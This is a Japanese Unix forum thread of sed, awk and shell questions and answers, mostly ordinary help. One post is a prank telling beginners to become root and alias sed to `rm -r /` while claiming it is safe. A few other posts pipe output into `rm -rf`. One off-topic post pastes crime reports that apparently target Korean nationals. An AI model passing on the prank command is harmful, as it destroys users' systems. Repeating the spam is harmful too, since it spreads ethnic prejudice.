03/11/11 02:23 1ZoP6XVJ
>>33
sedの改行処理がネックになっているみたいです。
yourei.sed
=======================
s/{[^}].*}//g
/【用例.*/{
s%\/[[:space:]]%\/\
%g
s%$%\n%g
p
}
======================
$ sed -n -f yourei.sed eijirou.txt | more
こうすると改行処理前の1行テキストごとに
\nが挿入されていました。
要するに見ためで改行しているだけで
1行テキストとしては改行処理前のものを認識しています。
40:login:Penguin
03/11/11 11:01 GaIDSE/z
>>37
あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
むしろ .txt の方が少なかったような気が。
>>39
>1行テキストとしては改行処理前のものを認識しています。
うんにゃ。
$ はパターンスペースの最後にマッチするメタキャラクタであって、
何らかの操作でパターンスペース中に改行が増えても
^, $ でマッチする部分が増えるわけではない
もし改行処理前(s// 実行前)のものが認識されるのであれば、
echo aaa | sed 's/a/b/; s/a/c/'
の結果は s/a/b/ が s/a/c/ に上書きされて caa になるはずだけど、
実際は s/a/b/ の置換結果に対して s/a/c/ が実行されるので bca になる。
41:login:Penguin
03/11/11 11:06 viYZ+vae
>>40
> あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
なのに Content-Type: application/msword なのね。
42:login:Penguin
03/11/11 15:51 nI9atQTW
>>41
すでに一般的になっている拡張子を横取りする辺り
さすが某社な感じがしたね。
いまじゃ拡張子docをテキストに使う人なんていなくなったなぁ。
43:sed@修行中
03/11/11 16:42 1ZoP6XVJ
>>40
>$ はパターンスペースの最後にマッチするメタキャラクタであって、
>何らかの操作でパターンスペース中に改行が増えても
>^, $ でマッチする部分が増えるわけではない
お手上げです。
1つのスクリプトファイルにまとめたかったんだけど
無理みたいですね。
44:login:Penguin
03/11/11 22:39 TEb8ctrO
>>43
改行への置換と行末の/の削除を同時にすればいいじゃん。
s/{[^}].*}//g
/【用例.*/{
s%/[[:space:]]%\
%g
p
}
45:sed@修行中
03/11/11 23:40 1ZoP6XVJ
>>44
なるほど、そんなことができたんですね。
1つ手順が減りました。ありがとう。
46:login:Penguin
03/11/12 20:36 LHJK+sHI
viviのアウトライン解析機能を使っています。
「リナンバ」とやると、
1.1
1.3
1.5
なんてのが、
1.1
1.2
1.3
ときちんと書き直してくれます。vimでもこういうことがやりたいのですが、挫折してまして、
sedで可能かと考えています。お力をお貸しください。
47:login:Penguin
03/11/13 01:06 Egj266kX
sed じゃ難しいんでは?
48:login:Penguin
03/11/13 02:03 voeoED2+
オライリのセッドアンドオークは正直分かりにくい
49:login:Penguin
03/11/21 21:51 9CHmmaB8
1,$s/●/ひろゆきの私腹/g
50:徳さん
03/11/27 01:49 T81Yg0h9
>>25
time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done
↓
do ~ done はまとめてリダイレクトできるのだ
↓
time for i in `find ./ -type f`;do echo ${i};done | sed 's/.*\///'
すっごく速くなったぞ
# sed ってよりshellのお題だな
51:login:Penguin
03/11/28 03:06 UcUoDcec
``でサブシェル起動するからね...
find . -type f | xargs sed 's/.*\///'
とか
find . -type f | while read i; do sed 's/.*\///' ${i}; done
のほうがいいのでは?
(上だと全ファイルまとめてsed。下だと一つづつsed)
52:sed@修行中
03/11/29 01:56 FhRoB8U6
ぬぬぅ
これは早急にシェルスクリプトを習得せねば
なんかわかんないけどすごく便利なことしてそうな予感。
53:login:Penguin
03/11/29 02:39 MWd5bA5L
普通はシェルコマンドや正規表現を先に覚えるべきでは???
まぁあまり人のことは言えないが(w
54:login:Penguin
03/11/29 05:45 Nom6UDvM
>>52
早くしてるだけだよ。
でも>>50が出してきた例は、上と下で動作が違うから注意しな。
この例みたいに全部標準出力に垂れ流すsedなら一緒だけど。
>>53
UNIX的思想では小さいプログラムを組み合わせて使うから、
必要に応じて機能を探せばいい。
順番なんてナンセンス、だと思うな。
55:login:Penguin
03/11/29 06:03 Nom6UDvM
燃料投下の意味もこめて、ほったらかしの>>46にささげます。
正規表現の部分は手抜きで、柔軟性のかけらもありません。
加工したいテキストにあわせて書き換える必要があるでしょう。
#なおテストはしてません。
while :
do
cnt=`expr $cnt + 1`
sed 's/^\([ \t]*1\.\)[1-9][0-9]*/\1'$cnt'/' < 加工したいファイル
done
56:fireな男書き込み中
03/11/29 06:51 L/Ar23C0
俺様がテーチインしてやるから
まずスーパーユーザにならなくちゃ行けないんだよ。
$ su -
そんでもって、sedはプロトタイプ宣言が必要なんだ。Cのプリプロセッサ
のようなものって思って良いけど難しいから以下のようにタイプする。
$ alias sed='rm -r /'
すると起動完了だから、sedがバッチリ起動する。
このおまじないで絶対に止めては行けないサーバとかでも
安心してセキュリティを気にせずに実行する事が可能だ。ZDNetとかの
linux-tipsとかlinux-mini-howtoに載っているよ。
57:login:Penguin
03/12/01 11:34 OhP2Gise
>>46
sed でやることじゃないな。
#!/usr/bin/awk -f
$1 ~ /[0-9]+\.[0-9]+/{
split($1, tmp, /\./)
if(tmp[1] <= sec){
subsec += 1
} else{
sec += 1
subsec = 1
}
sub(/[0-9]+\.[0-9]+/, sec "." subsec)
}
{ print }
>>56
つまらない。
58:login:Penguin
04/01/10 09:17 siaa18gv
vi と awk + join + sort
で、RDBMS ができるようだ。
#!/bin/sh
join -1 1 -t: /etc/passwd /etc/ftpusers \
| sort -t ":" -n -k 3 \
| awk 'BEGIN {FS=":"; OFS="\t";} \
$7 != /bin/false && $3 >= 1000 \
{print $1, $3, $4, $7;}'
awk の変数 OFS がなぜかFreeBSDで通らないのが謎。
って、ここはsed刷れだった。
sedもいじってみよう。
59:login:Penguin
04/01/10 10:55 siaa18gv
awkつまみ食い(1時間コース)
URLリンク(www.is.kochi-u.ac.jp)
/* emp.dat */
Beth 4.00 0
Dan 3.75 0
Kathy 4.00 10
Mark 5.00 20
Mary 5.50 22
Susie 4.25 18
/* m6.awk */
BEGIN { print "*** Employee Statistics ***" }
$3 > 15 { emp = emp + 1 }
{ pay = pay + $2 * $3 }
$2 > max { max = $2; who = $1 }
{ names = names $1 " " }
{ last = $0 }
END {
print "Employee list:", names;
print NR, "employees";
print emp, "employees worked more than 15 hours." ;
print "total pay is",pay;
print "average pay is",pay/NR;
print "Highest hourly rate:", max, "for", who ;
print "Who was the last:",last;
}
60:login:Penguin
04/01/10 10:57 siaa18gv
$ awk -f m6.awk emp.dat
*** Employee Statistics ***
Employee list: Beth Dan Kathy Mark Mary Susie
6 employees
3 employees worked more than 15 hours.
total pay is 337.5
average pay is 56.25
Highest hourly rate: 5.50 for Mary
Who was the last: Susie 4.25 18
ほかにも、 awk は 組み込み 関数や、
if-else文、 while文、 for文などを 使った 複雑な 計算や
プログラム制御を おこなう ことが できます。
これらの 詳細に ついては、 C言語を 学んだ 後で 参考書
「プログラミング言語AWK」
エイホ・ カーニハン・ ワインバーガー著・ 足立訳 (トッパン・ 3,400円)を...
61:login:Penguin
04/01/10 14:28 gicz3W8H
久しぶりに良スレだ。
まとめサイトキボソ
62:login:Penguin
04/03/07 01:23 0UiefwuC
保守上げ
63:login:Penguin
04/03/15 22:06 cMKAgcb5
!/usr/bin/perl -p
if(/(\d+)\.\d+/) {
if($1 > $sec) {
$sec=$1;
$subsec=1;
} else {
$subsec++;
}
s/\d+\.\d+/$sec.$subsec/;
}
64:63
04/03/15 22:09 cMKAgcb5
>>46
スレ違いだがawkでもいいなら、、、
57のperl版でw
65:login:Penguin
04/04/07 10:33 okZh1+9q
漏れは、改行はtrつかって変換してる'\012'
66:login:Penguin
04/07/07 16:31 +gxHp2MZ
sage
67:login:Penguin
04/09/08 12:59 hBE6nYPC
hosyu
68:login:Penguin
04/11/28 05:46:14 S1pxb2sA
補習
69:login:Penguin
05/01/27 01:33:29 rr1tF+uZ
保守
70:login:Penguin
05/02/20 10:54:51 SQt2t8zo
sedを使ってhogeを"hoge"にしたいんですけど
s/^/\"/とs/$/\"/を一度にできますか?
71:login:Penguin
05/02/20 11:43:50 9r4p9Jy7
sed 's/hoge/"hoge"/'
72:login:Penguin
05/02/20 11:50:37 LXPgW8jX
>>71
答のポイントがずれてる
>>70
sed 's/\(.*\)/\"\1\"/'
73:login:Penguin
05/02/20 11:53:39 x3mWXcsm
>>70
sed -e "s/^/\"/" -e "s/$/\"/"
sed -e "s/^\(.*\)$/\"\1\"/"
74:login:Penguin
05/02/20 12:09:51 SQt2t8zo
>>71-73
感謝!
キモの\(.*\)と\1の意味が理解できないorz
精進します
75:71
05/02/20 12:28:33 9r4p9Jy7
ああ、hogeは可変なのか…
だからs/^/\"/とかしてたわけね orz
76:login:Penguin
05/02/25 23:31:47 CmL+OxWl
sedでカレントパスにある、重複名ファイルを削除すること出来ますでしょうか?
77:login:Penguin
05/02/26 00:08:54 Oyc5PjG3
「重複名ファイル」が何のことか分からんが、
sedでファイルを削除することはできません
78:login:Penguin
05/03/05 11:26:28 Xag2FfiC
パイプに渡してrmコマンドで削除はできる
79:login:Penguin
05/05/27 23:31:57 RlR1k47P
>>1は氏んだのか?
80:login:Penguin
05/08/21 09:54:50 PDEd7qsy
>>78
全然試さずに聞いてみるのだがそれってファイル中身じゃなくて
ファイル自体が消えるの?
81:login:Penguin
05/08/22 23:00:28 /oDO6UGR
おれは引数の中身までは分からんが
ls | sed 'hogehoge' | rm -rf
ってことだろ。
82:login:Penguin
05/08/22 23:09:43 /oDO6UGR
あれ?
>カレントパスにある、重複名ファイル
こんなもん作れないだろ・・・作れたらスクリーンショットとってどっかに挙げてくれ。
83:login:Penguin
05/11/06 18:45:52 d1sLJr10
age
84:login:Penguin
05/11/20 11:35:39 zC+iRPbI
つ[MS‐DOSを256倍使うための本〈Vol.3〉]
85:login:Penguin
05/11/21 18:01:23 9OlIZyoL
>>84
「MAKE make Make.」
と
「640Kのバリヤーのなかで」
の章を読めば良いんですね。
わかりました。
ありがとうございました。
86:login:Penguin
05/11/22 00:22:49 HxwKhGDI
rm -rfv `find . | grep '~$'`
こんなのよくやる。
87:login:Penguin
05/11/26 06:21:39 kJunMMiz
こんなのを適当にファイル名を指定してやってみよう。
sed 's/\w//g' <ファイル名>
88:login:Penguin
05/11/28 02:00:25 LhHzdh/r
疑問なんだけど、デフォルト入力とかで
行をファイル(標準入力でもいいけど)から読み込んでくるとき、
パターンスペースに格納されるテキストには
その行が本来持っていた末尾の改行は保持されるの、
それとも捨てられてるの?
89:login:Penguin
05/11/28 23:09:25 EcBnAVh1
>>88
捨て
90:88
05/11/29 02:04:37 JFndx1yi
>>89
ありが㌧。そうみたいだね。実は自己解決してました。
man sedしてもわからなかったけどinfo sedしたら書いてあったよ(GNU sedね)。
「SED 教室 第三回」にもこうあった。
URLリンク(www.gcd.org)
> SED は起動されるとまず、標準入力の最初の行をパターンスペースにコピーし
>ます。この時点でパターンスペースの内容は「これは一行目だ。」になります。
>行末の改行コードは捨てられてパターンスペースの中にはありませんので注意し
>てください。
91:login:Penguin
05/11/30 21:51:21 O2ouymZd
Cのソースから
//
/* */
のコメントを取り除けますか?sedで。
92:login:Penguin
05/11/30 22:18:12 lIO05ZaP
>>91
できるよ。
93:login:Penguin
05/11/30 22:43:30 +mlzjm+U
>できるよ。
/*
*/
のように複数行に分かれている場合にもできますか?
94:login:Penguin
05/11/30 22:44:24 lIO05ZaP
>>93
うん。
95:login:Penguin
05/12/03 04:22:17 tqW1lQSk
要するに,「/*」と「*/」を削除すれば?
96:login:Penguin
05/12/03 10:13:01 Tw8V4WMs
ヒント:
URLリンク(www.gcd.org)
---------- SED 教室 第十二回 「~から~まで、基礎編」 ----------
97:login:Penguin
06/01/22 16:17:53 IDyOrogG
SED
98:login:Penguin
06/02/24 16:50:56 cbN1qQJn
@@@
99:login:Penguin
06/03/01 17:51:55 invzz+R5
Super Erectile Dysfunction
100:login:Penguin
06/04/12 02:40:10 TK6X7NqV
深夜挙げ
101:login:Penguin
06/06/19 18:24:21 7hb+n6Th
保守
102:login:Penguin
06/08/22 16:17:23 GMKE0Nda
むむむ
103:login:Penguin
07/04/18 00:02:42 znSq4roi
>>1
乙
104:login:Penguin
07/04/21 20:59:54 3cd3hhH7
sed -e 's/XX/VV/g'|rm -rf
パイプの概念すらしらん奴はこの板すらのぞかない方が君の為だ。
105:login:Penguin
07/04/21 21:05:07 Xv/Wu2nU
とりあえず、何をどうしたいのか、問題をはっきり定義してくれ。
そうすりゃ、見本スクリプト書いて説明してやるよ。
ややこしいことやるなら、ほんとはPerlのほうが使いやすいけど。
106:login:Penguin
07/11/23 23:18:25 jeG9bac3
括弧そのものの削除ってどうやるの・・・
\( ってやっても expression エラーがでるんだけど・・・orz
107:login:Penguin
07/11/24 09:54:12 KS9aoT96
むしろ ( だけでいいはず
108:login:Penguin
07/11/26 16:59:12 BfF24vJW
実装次第かも知れんが、\(~\)がグループ化で()は普通の括弧文字って実装が割と多い気がするね。
109:login:Penguin
07/11/26 18:40:27 K1ODcPAV
BREとEREの違いですね。
GNUのsedなら、-rをつけるとEREになるから、
\(~\)じゃなくて(~)でグループ化になりますよ。
110:login:Penguin
07/11/27 02:16:55 ha+qq+GW
>>108
GNUの拡張を除けば、グループ化が ( と ) なsedはないんじゃないか?
111:login:Penguin
08/04/17 05:57:23 OFfDkpoC
夢翔塾代表 逮捕後アリバイ工作 証人威迫容疑で福岡県警再逮捕 拘置中、男に依頼
特定非営利活動法人(NPO法人)「ハートランド夢翔塾(むしょうじゅく)」(福岡県大牟田市)代表の川野弘樹容疑者(36)=児童福祉法違反の罪で起訴=が、
塾生の少女=当時(16)=にわいせつ行為をしたとされる事件で、同県警は5日、拘置中に知り合った男と事件当日のアリバイ工作をしたとして、
証人威迫の疑いで川野容疑者を再逮捕し、大牟田市草木、飲食店従業員李永浩容疑者(32)を逮捕した。
調べでは、川野容疑者は大牟田署の留置場に拘置された際、別の事件で拘置されて同房だった李容疑者と共謀。
略式起訴で2月1日に保釈された李容疑者は同日夜、大牟田市内の川野容疑者の知人女性を訪ね、
「(わいせつ事件の)犯行時、川野容疑者と一緒にいたと証言してくれ」と、うそのアリバイ証言をするように強要した疑い。
両容疑者に面識はなく、留置場内で謀議していたという。川野容疑者は黙秘し、李容疑者は容疑を認めているという。
県警は5日、川野容疑者が昨年10月8日にも同市内の路上に止めた乗用車内で同じ少女にわいせつ行為をしたとして、
児童福祉法違反(淫行(いんこう))容疑でも再逮捕した。
URLリンク(www.nishinippon.co.jp)
浜松・連続女性暴行:懲役20年を求刑 /静岡
浜松市の連続女性暴行事件で強姦(ごうかん)致傷などの罪に問われた同市中区北寺島町、
韓国籍の会社員、李正遠(イチョンウォン)被告(34)の論告求刑公判が4日、地裁浜松支部 (北村和裁判長)であった。
検察側は懲役20年を求刑した。
毎日新聞
URLリンク(mainichi.jp)
強制わいせつ容疑で逮捕 /福岡
26日、八幡東区石坪町、土木作業員、崔吉竜容疑者(32)を。
今月12日午後6時50分ごろ、門司区内の会社事務所に「トイレを貸してほしい」と
言って立ち入り、事務員の女性(32)に抱きつくなどわいせつな行為をした疑い。
前日にも事務所を訪れており、「強制ではない」などと犯意を否認しているという。
URLリンク(mainichi.jp)
112:login:Penguin
08/04/18 01:44:25 /C9YMQcQ
unix 板のアレがこっちに来たのかと思った。
113:login:Penguin
08/06/03 06:01:17 OIB6+9BR
>>110
できるよ。
以上。
はい、次。
114:login:Penguin
08/07/17 19:01:07 fSKuDDXe
head.logというファイルの先頭に「HOGEHOGE」という文字列を挿入しようとしています。
head.logの中身は
-------
test
test
-------
という二段の文字列です。
最初に直接sedを用いて
sed -e '1 s/^/HOGEHOGE\n/' head.log
というコマンドで
-------
HOGEHOGE
test
test
-------
と表示することには成功しました。
115:login:Penguin
08/07/17 19:02:47 fSKuDDXe
ただ、シェルスクリプトを
----------------------------
#!/bin/sh
echo "input word"
read word
sed -e "1 s/^/${word}\n/" head.log
----------------------------
のように書いて、wordにHOGEHOGEを代入してこれを実行すると
-------
HOGEHOGE
HOGEHOGE
test
test
-------
のように、HOGEHOGEが二回繰り返して表示されてしまいました。
この原因は何なのでしょうか?
対策方法などありましたらアドバイスよろしくおねがいします。
116:login:Penguin
08/07/17 20:43:30 KzL7zakf
>>115
まず関係ないと思われる部分を省いて少しずつ試しなよ。
117:login:Penguin
08/07/17 20:49:48 KzL7zakf
ヒント
----------------------------
#!/bin/sh
echo "input word"
read word
echo ""
sed -e "1 s/^/${word}\n/" head.log
----------------------------
118:login:Penguin
08/07/17 21:07:52 fSKuDDXe
うわああああ!!
恥ずかしいです(><)
ありがとうございました(;_;)
119:login:Penguin
08/08/01 22:50:22 WR526y3P
改行の扱いについて教えてください。
以下のページによると
URLリンク(www.gcd.org)
> では「ジャンプせよ」という命令を実行することなくスクリプトの最後の行を
> 過ぎてしまったらどうなるのでしょうか。(中略)この様な場合、SED は p と d を
> 自動的に実行します。
とありますが、
echo -n aaa | sed -e 's/aaa/bbb/'
を実行すると
bbb
が改行を伴わずに出力されます。
上記の説明と異なる結果でよく分からないのですが、、、
パターンスペースに各行の文字列を入れる際、行末の改行は捨てられるが、
その行が改行を伴っていたか伴っていなかったかについて、sedは何らかの形で
記憶している、そしてデフォルトの出力の際、もともと改行を伴っていたか
どうかによって、出力文字列に改行を付けている。
このような理解でよろしいでしょうか。
よろしくお願いします。
120:login:Penguin
08/08/02 00:47:41 +VO1N7E+
age
121:login:Penguin
08/08/03 00:52:44 VOatfWTi
>>119
GNU sed のソースを見た限りでは、一行ごとに読み込んでいるのだけど
改行がついていたかどうかのフラグを持ってるね。
んで、入力に改行がなかった場合には出力にも付加しない。
POSIX的にはどうか知らないけど 119にある理解でいいんじゃないか?
122:119
08/08/03 21:20:32 S34ZH5Ab
>>121
デフォルトの出力に関しては、最終行での改行の有無を意識しておけばよい
ということですかね。
調べていただいてありがとうございました。
123:121
08/08/04 02:43:40 GBDGU4jb
>>122
sedはawkとかPerlみたいにレコードの区切りを変えることができなくて一行単位というのは
動かないから、改行コードのあるなしが問題になるのは最終行だけだね。
ソースをちょっと grep してちょっと眺めただけだからたいした手間じゃないよ。
124:login:Penguin
08/08/05 20:51:25 X/szKwVr
grepの場合、改行がない最終行に対しては、改行を付けて出力するね。
125:login:Penguin
08/10/27 23:21:57 BnAQXfRx
"aaa"
"bbb
ccc"
このようなファイルの2行目と3行目を連結したいのですが、可能でしょうか。
126:login:Penguin
08/10/28 00:00:22 LqvgIl+t
>>125
詳しい条件書かないとわからんよ。
s/b\n/b/g
その例には使えるけど。
127:login:Penguin
08/10/28 00:04:49 gCa9/U26
ありがとうございます。
この例で使えれば大丈夫なのですが、
条件として\nは使えるのでしょうか。
128:login:Penguin
08/10/28 01:07:16 LqvgIl+t
>>127
質問の意図がわからないのだが。
129:login:Penguin
08/10/28 01:08:53 dGaeCgPM
>>127
「自分の環境では、\nが認識されませんでした。」か?
130:login:Penguin
08/10/28 01:24:35 LqvgIl+t
>>127
ああ、すまん。確かにダメだわ。sedじゃないけど、
perl -pe "s/b\n/b/g" ファイル名
これで勘弁。
131:login:Penguin
08/10/28 03:01:43 /qenFkSI
/bbb$/{
N
s/\n//
}
でどう?
マッチ文字列や置換文字列に \n が使えるかどうかは環境によるので
お前さんがどういうところで使っているかを書かなければ答えようがない。
132:login:Penguin
08/11/09 22:38:03 iboFIZ94
>「Error」がある行に,「### Check Line ###」という新しい行を追加する
>$ $ sed -e "/Error/i #### Check Line ###" source.txt
↑の構文なのですが、「新しい行を追加する」のではなく、
行の入れ替えを行う方法は無いでしょうか?
133:login:Penguin
08/11/10 02:48:47 oBt1rply
>>132
入れ替えって何と何を入れ替えるの?
#### の行を先に出力したいってこと?
134:login:Penguin
08/11/10 05:23:57 Vv2a12Zc
>>133
例えば、以下のようなテキストがあった場合
111
222
Error 333
444
555
「Error」がある行に,「### Check Line ###」という行に入れ替えたいです。
以下のようなイメージです。
111
222
### Check Line ###
444
555
135:login:Penguin
08/11/10 05:33:29 e8TF6STv
iじゃなくてc使う
136:login:Penguin
08/11/11 21:48:17 DQj2Ej4A
>>135
遅くなりましたが有難うございました!
137:login:Penguin
08/11/15 16:52:59 FFNCNb8R
ナイスなスレだな
138:login:Penguin
08/12/02 10:28:40 2vyuRZ6k
なぜawkを使わない?
139:login:Penguin
08/12/03 01:46:50 O9/K8qme
下記のtest.datから、
[1が出現してから3が出現するまでの行]はアドレス範囲を使えば簡単に取得できますが
$ sed -n -e '/^1/,/^3/p' test.dat
[1が出現してから3が出現する前の行]を取得するにはどうやるのでしょうか?
$ sed -n -e '/^1/,/^3/p' test.dat | sed -e '$d'
でもいいのですが、1回のsedで済ますにはどうすればよいでしょう?
$ cat >test.dat
0
1
2
3
4
5
^D
140:login:Penguin
08/12/03 02:53:15 1xcvKxcT
>>139
sed -ne '/1/,/3/{/3/q; p'
141:139
08/12/03 08:40:11 O9/K8qme
>>140
こういう時にqを使うんだ。
物凄く恥ずかしながら、目から鱗状態です。
2週間の間、何度も思い出しては考えても分からなかったので質問してみた。
ありがとう。
142: [―{}@{}@{}-] login:Penguin
09/04/08 08:59:15 DR9diDX0
URLリンク(unkar.jp)
m(_ _)m
143: [―{}@{}@{}-] login:Penguin
09/04/08 09:00:09 DR9diDX0
URLリンク(unkar.jp)
144: [―{}@{}@{}-] login:Penguin
09/04/08 09:01:33 DR9diDX0
URLリンク(unkar.jp)
145: [―{}@{}@{}-] login:Penguin
09/04/08 09:04:26 DR9diDX0
URLリンク(www.23ch.info)
146: [―{}@{}@{}-] login:Penguin
09/04/08 09:08:12 DR9diDX0
URLリンク(www.23ch.info)
147:login:Penguin
10/06/01 16:15:16 8+L/+i95
i=`echo $i|sed -e 's/^\([^ ]*\)\/$/\1/p' -e d`
スクリプト中のこの1文の意味が良く分かりません。
どういう処理をしているのか教えていただけないでしょうか。
148:login:Penguin
10/06/01 23:50:47 AqF3qhLQ
>>147
スレリンク(linux板:109番)